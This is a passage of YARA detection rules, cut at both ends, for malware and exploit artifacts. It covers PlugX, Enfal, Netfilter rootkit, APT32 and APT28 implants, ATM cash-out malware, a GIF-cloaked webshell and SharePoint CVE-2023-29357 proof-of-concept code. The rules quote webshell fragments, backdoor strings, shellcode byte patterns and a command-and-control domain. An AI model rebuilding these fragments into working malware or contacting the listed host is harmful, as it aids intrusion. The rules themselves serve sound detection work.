		$reg5 = "SOFTWARE\\rising\\RAV"
		$reg6 = "SOFTWARE\\JiangMin"
		$reg7 = "SOFTWARE\\Micropoint\\Anti-Attack"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of ( $reg* )
}

rule dubseven_dropper_dialog_remains
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for related dialog remnants. How rude."
		id = "6029ea74-26fc-57d1-aaed-be1ea2138844"

	strings:
		$dia1 = "fuckMessageBox 1.0" wide
		$dia2 = "Rundll 1.0" wide

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of them
}

rule maindll_mutex
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Matches on the maindll mutex"
		id = "7a89dae3-9e03-5803-9729-78e6e65e91d3"

	strings:
		$mutex = "h31415927tttt"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and $mutex
}

rule SLServer_dialog_remains
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks / modified by Florian Roth"
		date = "2016/04/18"
		score = 75
		description = "Searches for related dialog remnants."
		id = "cf199d25-ce5e-52c2-88de-32a48dee4c6f"

	strings:
		$slserver = "SLServer" wide fullword
		$fp1 = "Dell Inc." wide fullword
		$fp2 = "ScriptLogic Corporation" wide
		$extra1 = "SLSERVER" wide fullword
		$extra2 = "\\SLServer.pdb" ascii

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and not 1 of ( $fp* ) and 1 of ( $extra* ) and $slserver
}

rule SLServer_mutex
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for the mutex."
		id = "decdefd0-fe20-5adf-9d8c-0e2b954481a0"

	strings:
		$mutex = "M&GX^DSF&DA@F"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and $mutex
}

rule SLServer_command_and_control
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for the C2 server."
		id = "e4fcda6c-1c9f-5b58-8b07-8d1a0dc4eaf6"

	strings:
		$c2 = "safetyssl.security-centers.com"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and $c2
}

rule SLServer_campaign_code
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for the related campaign code."
		id = "672f506e-0cc1-5b09-873b-c3d206486bac"

	strings:
		$campaign = "wthkdoc0106"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and $campaign
}

rule SLServer_unknown_string
{
	meta:
		author = "Matt Brooks, @cmatthewbrooks"
		date = "2016/04/18"
		score = 75
		description = "Searches for a unique string."
		id = "00341604-480f-59aa-9c18-009e7b53928e"

	strings:
		$string = "test-b7fa835a39"

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and $string
}

rule LOG_EXPL_SharePoint_CVE_2023_29357_Sep23_1
{
	meta:
		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-29357 on Microsoft SharePoint servers with the published Python POC"
		author = "Florian Roth (with help from @LuemmelSec)"
		reference = "https://twitter.com/Gi7w0rm/status/1706764212704591953?s=20"
		date = "2023-09-28"
		modified = "2023-10-01"
		score = 70
		id = "9fa77216-c0d6-55e5-bbcc-adb9438ca456"

	strings:
		$xr1 = /GET [a-z\.\/_]{0,40}\/web\/(siteusers|currentuser) - (80|443) .{10,200} (python-requests\/[0-9\.]{3,8}|-) [^ ]{1,160} [^4]0[0-9] /

	condition:
		$xr1
}

rule HKTL_EXPL_POC_PY_SharePoint_CVE_2023_29357_Sep23_1
{
	meta:
		description = "Detects a Python POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
		author = "Florian Roth"
		reference = "https://github.com/Chocapikk/CVE-2023-29357"
		date = "2023-10-01"
		modified = "2023-10-01"
		score = 80
		id = "2be524ab-f360-56b8-9ce3-e15036855c67"

	strings:
		$x1 = "encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')"

	condition:
		filesize < 30KB and $x1
}

rule HKTL_EXPL_POC_NET_SharePoint_CVE_2023_29357_Sep23_1
{
	meta:
		description = "Detects a C# POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
		author = "Florian Roth"
		reference = "https://github.com/LuemmelSec/CVE-2023-29357"
		date = "2023-10-01"
		score = 80
		id = "aa6aeb00-b162-538c-a670-cbff525dd8f1"

	strings:
		$x1 = "{f22d2de0-606b-4d16-98d5-421f3f1ba8bc}" ascii wide
		$x2 = "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}" ascii wide
		$s1 = "Bearer"
		$s2 = "hashedprooftoken"
		$s3 = "/_api/web/"
		$s4 = "X-PROOF_TOKEN"
		$s5 = "00000003-0000-0ff1-ce00-000000000000"
		$s6 = "IsSiteAdmin"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule MAL_Enfal_Nov22
{
	meta:
		old_rule_name = "Enfal_Malware"
		description = "Detects a certain type of Enfal Malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
		date = "2015-02-10"
		modified = "2023-01-06"
		hash2 = "42fa6241ab94c73c7ab386d600fae70da505d752daab2e61819a0142b531078a"
		hash2 = "bf433f4264fa3f15f320b35e773e18ebfe94465d864d3f4b2a963c3e5efd39c2"
		score = 75
		id = "9dcba14e-2175-5da0-8629-5b952c213f6c"

	strings:
		$xop1 = { 00 00 83 c9 ff 33 c0 f2 ae f7 d1 49 b8 ff 8f 01 00 2b c1 }
		$s1 = "POWERPNT.exe" fullword ascii
		$s2 = "%APPDATA%\\Microsoft\\Windows\\" ascii
		$s3 = "%HOMEPATH%" fullword ascii
		$s4 = "Server2008" fullword ascii
		$s5 = "%ComSpec%" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or 3 of ( $s* ) )
}

rule Enfal_Malware_Backdoor
{
	meta:
		description = "Generic Rule to detect the Enfal Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015/02/10"
		super_rule = 1
		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
		score = 60
		id = "4631888c-e1e2-5969-a312-0f0011cd605c"

	strings:
		$x1 = "Micorsoft Corportation" fullword wide
		$x2 = "IM Monnitor Service" fullword wide
		$s1 = "imemonsvc.dll" fullword wide
		$s2 = "iphlpsvc.tmp" fullword
		$z1 = "urlmon" fullword
		$z2 = "Registered trademarks and service marks are the property of their respec" wide
		$z3 = "XpsUnregisterServer" fullword
		$z4 = "XpsRegisterServer" fullword
		$z5 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or ( all of ( $s* ) and all of ( $z* ) ) )
}

rule ATM_Malware_XFSCashNCR
{
	meta:
		description = "Detects ATM Malware XFSCashNCR"
		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
		date = "2019-08-28"
		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
		id = "0a70ef9a-9dde-54c9-a3a2-dfceff32932b"

	strings:
		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
		$x_StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
		$x_StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
		$x_StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
		$x_StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
		$x_PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
		$LogFile = "XfsLog.txt" nocase ascii

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1500KB and ( 1 of ( $x* ) or 2 of them )
}

rule MAL_crime_win32_loader_guloader_1_experimental
{
	meta:
		description = "Detects injected GuLoader shellcode bin"
		author = "@VK_Intel"
		reference = "https://twitter.com/VK_Intel/status/1257206565146370050"
		tlp = "white"
		date = "2020-05-04"
		id = "c37882c6-15dc-54dc-8c10-7e91ea0fc6bd"

	strings:
		$djib2_hash = { f8 8b ?? ?? ?? ba 05 15 00 00 89 d3 39 c0 c1 e2 05 81 ff f6 62 f1 87 01 da 0f ?? ?? d9 d0 01 da 83 c6 02 66 ?? ?? ?? 75 ?? c2 04 00}
		$nt_inject_loader = {8b ?? ?? ba 44 1a 0e 9e 39 d2 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? f8 ba d0 e0 8b 30 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? d9 d0 81 fb 20 af 00 00 8b ?? ?? 39 c9 ba 92 a7 f3 95 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 39 d2 ba d0 20 2e d0 e8 ?? ?? ?? ?? 89 ?? ?? f8 8b ?? ?? ba 6a 19 1f 23 d9 d0 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? 81 fb e4 8c 00 00 39 c9 8b ?? ?? ba 19 50 9c c2 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 d2 8b ?? ?? fc ba 3d 13 8e 8b e8 ?? ?? ?? ?? d9 d0 89 ?? ?? f8 8b ?? ?? ba 30 3d 7b 2c e8 ?? ?? ?? ??}

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule CrunchRAT
{
	meta:
		description = "Detects CrunchRAT - file CrunchRAT.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/t3ntman/CrunchRAT"
		date = "2017-11-03"
		hash1 = "58a07e96497745b6fd5075d569f17b0254c3e50b0234744e0487f7c5dddf7161"
		id = "da7d9b5c-6ccc-5960-9daa-4df612545751"

	strings:
		$x1 = "----CrunchRAT" fullword wide
		$x2 = "\\Debug\\CrunchRAT" ascii
		$x3 = "\\Release\\CrunchRAT" ascii
		$s1 = "runCommand" fullword ascii
		$s2 = "<action>download<action>" fullword wide
		$s3 = "Content-Disposition: form-data; name=action" fullword wide
		$s4 = "<action>upload<action>" fullword wide
		$s5 = "/update.php" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and ( 1 of ( $x* ) and 3 of them )
}

rule custom_ssh_backdoor_server
{
	meta:
		description = "Custome SSH backdoor based on python and paramiko - file server.py"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/S46L3o"
		date = "2015-05-14"
		modified = "2022-08-18"
		hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
		id = "eccf705b-b2c3-5af6-ab86-70292089812b"

	strings:
		$s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
		$s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
		$s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii

	condition:
		2 of them
}

rule PlugX_J16_Gen
{
	meta:
		description = "Detects PlugX Malware samples from June 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research"
		date = "2016-06-08"
		id = "13ef1e80-7090-5a1e-bca7-8d3de0dc2247"

	strings:
		$x1 = "%WINDIR%\\SYSTEM32\\SERVICES.EXE" fullword wide
		$x2 = "\\\\.\\PIPE\\RUN_AS_USER(%d)" fullword wide
		$x3 = "LdrLoadShellcode" fullword ascii
		$x4 = "Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]" fullword ascii
		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" fullword wide
		$s2 = "%s\\msiexec.exe %d %d" fullword wide
		$s3 = "l%s\\sysprep\\CRYPTBASE.DLL" fullword wide
		$s4 = "%s\\msiexec.exe UAC" fullword wide
		$s5 = "CRYPTBASE.DLL" fullword wide
		$s6 = "%ALLUSERSPROFILE%\\SxS" fullword wide
		$s7 = "%s\\sysprep\\sysprep.exe" fullword wide
		$s8 = "\\\\.\\pipe\\a%d" fullword wide
		$s9 = "\\\\.\\pipe\\b%d" fullword wide
		$s10 = "EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p" fullword ascii
		$s11 = "Mozilla/4.0 (compatible; MSIE " fullword wide
		$s12 = "; Windows NT %d.%d" fullword wide
		$s13 = "SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector" fullword wide
		$s14 = "\\bug.log" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 1 of ( $x* ) or 4 of ( $s* ) ) ) or ( 8 of them )
}

rule PlugX_J16_Gen2
{
	meta:
		description = "Detects PlugX Malware Samples from June 2016"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "VT Research"
		date = "2016-06-08"
		id = "28e9cbb9-cd60-555d-b033-4e2bf293adf2"

	strings:
		$s1 = "XPlugKeyLogger.cpp" fullword ascii
		$s2 = "XPlugProcess.cpp" fullword ascii
		$s4 = "XPlgLoader.cpp" fullword ascii
		$s5 = "XPlugPortMap.cpp" fullword ascii
		$s8 = "XPlugShell.cpp" fullword ascii
		$s11 = "file: %s, line: %d, error: [%d]%s" fullword ascii
		$s12 = "XInstall.cpp" fullword ascii
		$s13 = "XPlugTelnet.cpp" fullword ascii
		$s14 = "XInstallUAC.cpp" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 2 of ( $s* ) ) ) or ( 5 of them )
}

rule MAL_Netfilter_Dropper_Jun_2021_1
{
	meta:
		description = "Detects the dropper of Netfilter rootkit"
		author = "Arkbird_SOLG"
		reference = "https://twitter.com/struppigel/status/1405483373280235520"
		date = "2020-06-18"
		hash1 = "a5c873085f36f69f29bb8895eb199d42ce86b16da62c56680917149b97e6dac"
		hash2 = "659e0d1b2405cadfa560fe648cbf6866720dd40bb6f4081d3dce2dffe20595d9"
		hash3 = "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540"
		tlp = "White"
		adversary = "Chinese APT Group"
		id = "d91f48aa-9580-572d-a72c-19b80624cdbe"

	strings:
		$seq1 = { b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fe ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 00 00 88 85 dc fd ff ff b8 ff 00 00 00 50 b8 00 00 00 00 50 8d 85 dd fd ff ff 50 e8 ?? 0d 00 00 83 c4 0c b8 00 00 50 00 50 e8 ?? 0d 00 00 83 c4 04 89 85 d8 fd ff ff 8b 85 d8 fd ff ff 89 85 d4 fd ff ff b8 00 00 50 00 50 b8 00 00 00 00 50 8b 85 d8 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c 8b 45 0c 8b 8d d8 fd ff ff 89 08 b8 3c 00 00 00 50 b8 00 00 00 00 50 8d 85 98 fd ff ff 50 e8 ?? 0c 00 00 83 c4 0c b8 3c 00 00 00 89 85 98 fd ff ff 8d 85 98 fd ff ff 83 c0 10 8d 8d dc fe ff ff 89 08 8d 85 98 fd ff ff 83 c0 14 b9 00 01 00 00 89 08 8d 85 98 fd ff ff 83 c0 2c 8d 8d dc fd ff ff 89 08 8d 85 98 fd ff ff 83 c0 30 b9 00 01 00 00 89 08 b8 0a 31 40 00 50 e8 ?? 0c 00 00 89 85 94 fd ff ff b8 16 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 fc b8 28 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0c 00 00 89 45 f8 b8 36 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f4 b8 47 31 40 00 50 8b 85 94 fd ff ff 50 e8 [2] 00 00 89 45 f0 b8 58 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 ec b8 69 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e8 b8 7a 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e4 b8 8e 31 40 00 50 8b 85 94 fd ff ff 50 e8 ?? 0b 00 00 89 45 e0 8b 45 08 50 e8 ?? 0b 00 00 83 c4 04 8d 8d 98 fd ff ff 51 b9 00 00 00 00 51 50 8b 45 08 50 8b 45 fc ff d0 85 }
		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
		$s1 = "%s\\netfilter.sys" fullword ascii
		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
		$s3 = "\\\\.\\netfilter" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize > 6KB and filesize < 1000KB and ( all of ( $seq* ) or 2 of ( $s* ) )
}

rule MAL_Netfilter_May_2021_1
{
	meta:
		description = "Detects Netfilter rootkit"
		author = "Arkbird_SOLG"
		reference = "https://twitter.com/struppigel/status/1405483373280235520"
		date = "2020-06-18"
		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
		tlp = "White"
		adversary = "Chinese APT Group"
		id = "0ac01eb3-435b-52b0-b8e8-ace2ebb34f60"

	strings:
		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
		$s1 = "%sc=%s" fullword ascii
		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
		$s3 = "NETIO.SYS" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and filesize < 1000KB and ( 3 of ( $seq* ) or 2 of ( $s* ) )
}

import "pe"

rule EXT_APT32_goopdate_installer
{
	meta:
		reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
		author = "Facebook"
		description = "Detects APT32 installer side-loaded with goopdate.dll"
		sample = "69730f2c2bb9668a17f8dfa1f1523e0e1e997ba98f027ce98f5cbaa869347383"
		id = "08f3cbda-ccb7-517a-b205-5f71de26c735"

	strings:
		$s0 = { 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? }
		$s1 = "GetProcAddress"
		$s2 = { 8B 4D FC ?? ?? 0F B6 51 0C ?? ?? 8B 4D F0 0F B6 1C 01 33 DA }
		$s3 = "FindNextFileW"
		$s4 = "Process32NextW"

	condition:
		(pe.is_64bit ( ) or pe.is_32bit ( ) ) and all of them
}

rule EXT_APT32_osx_backdoor_loader
{
	meta:
		reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
		author = "Facebook"
		description = "Detects APT32 backdoor loader on OSX"
		sample = "768510fa9eb807bba9c3dcb3c7f87b771e20fa3d81247539e9ea4349205e39eb"
		id = "ac313bd8-bf15-5b72-b651-35015f71dd90"

	strings:
		$a1 = { 00 D2 44 8A 04 0F 44 88 C0 C0 E8 07 08 D0 88 44 0F FF 48 FF C1 48 83 F9 10 44 88 C2 }
		$a2 = { 41 0F 10 04 07 0F 57 84 05 A0 FE FF FF 41 0F 11 04 07 48 83 C0 10 48 83 F8 10 75 }
		$e1 = { CA CF 3E F2 DA 43 E6 D1  D5 6C D4 23 3A AE F1 B2 }
		$e2 = "MlkHVdRbOkra9s+G65MAoLga340t3+zj/u8LPfP3hig="
		$e3 = { 5A 69 98 0E 6C 4B 5C 69  7E 19 34 3B C3 07 CA 13 }
		$e4 = "1Sib4HfPuRQjpxIpECnxxTPiu3FXOFAHMx/+9MEVv9M+h1ngV7T5WUP3b0zsg0Qd"
		$e5 = "_ArchaeologistCodeine"
		$e6 = "_PlayerAberadurtheIncomprehensible"

	condition:
		(( uint32( 0 ) == 0xfeedface or uint32be( 0 ) == 0xfeedface ) or ( uint32( 0 ) == 0xfeedfacf or uint32be( 0 ) == 0xfeedfacf ) ) and ( 2 of ( $e* ) or all of ( $a* ) )
}

rule Exploit_MS15_077_078
{
	meta:
		description = "MS15-078 / MS15-077 exploit - generic signature"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&start=200"
		date = "2015-07-21"
		hash1 = "18e3e840a5e5b75747d6b961fca66a670e3faef252aaa416a88488967b47ac1c"
		hash2 = "0b5dc030e73074b18b1959d1cf7177ff510dbc2a0ec2b8bb927936f59eb3d14d"
		hash3 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
		hash4 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
		id = "57f6db11-9d93-53fd-ab68-c6c3eadae2da"

	strings:
		$s1 = "GDI32.DLL" fullword ascii
		$s2 = "atmfd.dll" fullword wide
		$s3 = "AddFontMemResourceEx" fullword ascii
		$s4 = "NamedEscape" fullword ascii
		$s5 = "CreateBitmap" fullword ascii
		$s6 = "DeleteObject" fullword ascii
		$op0 = { 83 45 e8 01 eb 07 c7 45 e8 }
		$op1 = { 8d 85 24 42 fb ff 89 04 24 e8 80 22 00 00 c7 45 }
		$op2 = { eb 54 8b 15 6c 00 4c 00 8d 85 24 42 fb ff 89 44 }
		$op3 = { 64 00 88 ff 84 03 70 03 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 5 of ( $s* ) or 3 of ( $op* )
}

rule Exploit_MS15_077_078_HackingTeam
{
	meta:
		description = "MS15-078 / MS15-077 exploit - Hacking Team code"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-07-21"
		super_rule = 1
		hash1 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
		hash2 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
		id = "3bf40dec-c46e-5054-a98e-602049cb1824"

	strings:
		$s1 = "\\SystemRoot\\system32\\CI.dll" ascii
		$s2 = "\\sysnative\\CI.dll" ascii
		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" fullword ascii
		$s4 = "CRTDLL.DLL" fullword ascii
		$s5 = "\\sysnative" ascii
		$s6 = "InternetOpenA coolio, trying open %s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2500KB and 5 of them
}

rule GIFCloaked_Webshell_A
{
	meta:
		description = "Looks like a webshell cloaked as GIF"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
		score = 60
		id = "4fdef65c-204a-5019-9b4f-c5877c3e39d4"

	strings:
		$s0 = "input type"
		$s1 = "<%eval request"
		$s2 = "<%eval(Request.Item["
		$s3 = "LANGUAGE='VBScript'"
		$s4 = "$_REQUEST" fullword
		$s5 = ";eval("
		$s6 = "base64_decode"
		$fp1 = "<form name=\"social_form\""

	condition:
		uint32( 0 ) == 0x38464947 and ( 1 of ( $s* ) ) and not 1 of ( $fp* )
}

rule SUSP_VulnDriver_HP_Hardware_Diagnostics_Etdsupp_May23
{
	meta:
		description = "Detects vulnerable versions of the HP Hardware Diagnostics driver (etdsupp.sys) based on PE metadata info"
		author = "X__Junior (Nextron Systems)"
		date = "2023-05-12"
		reference = "https://github.com/alfarom256/HPHardwareDiagnostics-PoC/tree/main/"
		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
		score = 65
		id = "8f838e4f-3e3e-5131-9d67-e49f6848bb37"

	strings:
		$s1 = {4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 65 00 74 00 64 00 73 00 75 00 70 00 70 00 2e 00 73 00 79 00 73 00}
		$s2 = "etdsupp.pdb"
		$s3 = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}([\x00-\xff]{2}[\x00-\x11]\x00[\x00-\xff]{4}|\x00\x00\x12\x00\x00\x00\x00\x00)/

	condition:
		uint16( 0 ) == 0x5a4d and int16 ( uint32( 0x3C ) + 0x5c ) == 0x0001 and filesize < 100KB and all of them
}

rule IMPLANT_1_v1
{
	meta:
		description = "Downrage Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "eb3fc39b-08ca-51df-a9b4-7b28b107b700"

	strings:
		$STR1 = {6A ?? E8 ?? ?? FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?? FF FF 8B F0
         EB 02 33 F6 8B CE E8 ?? ?? FF FF 85 F6 74 0E 8B CE E8 ?? ?? FF FF 56
         E8 ?? ?? FF FF 59}

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_1_v2
{
	meta:
		description = "Downrage Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "c7beab50-8e73-5161-be7e-bc3f8351873a"

	strings:
